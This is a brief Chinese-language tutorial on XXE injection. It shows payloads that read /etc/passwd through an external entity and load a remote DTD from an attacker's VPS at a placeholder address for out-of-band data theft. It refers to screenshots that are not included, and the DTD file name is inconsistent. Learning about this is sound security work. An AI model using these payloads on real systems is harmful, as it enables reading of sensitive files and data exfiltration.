
危害:读取任意文件

示例:在有xxe漏洞的地方输入
<!DOCTYPE note [ <!ENTITY name “xxxxxx”> ]>
<test>&name;</test>
可以触发显示xxxxxx
存在xxe的特征:

由上图可以看出,抓包发现有一个根元素,里面有两个子元素。

如上图,先在请求体添加一段定义实体的代码:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
然后再在标签中引入xxe,如<username>&xxe;</username>
如果观察响应体,要看哪些标签是会回显的,如<username></username>之间的会回显,而<passwd></passwd>不会回显。但是其实是可以执行的,回显就应该使用带外,如dnslog
外部xxe类似,如下图

其中x.x.x.x是vps,在vps的httpd服务目录下有一个1.dtd,dtd文件是以下内容:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<!DOCTYPE test [
<!ENTITY %a SYSTEM “http://x.x.x.x/x.dtd”>
%a;
]>
然后在存在漏洞且可以回显的标签下修改&xxe //因为dtd文件里是xxe
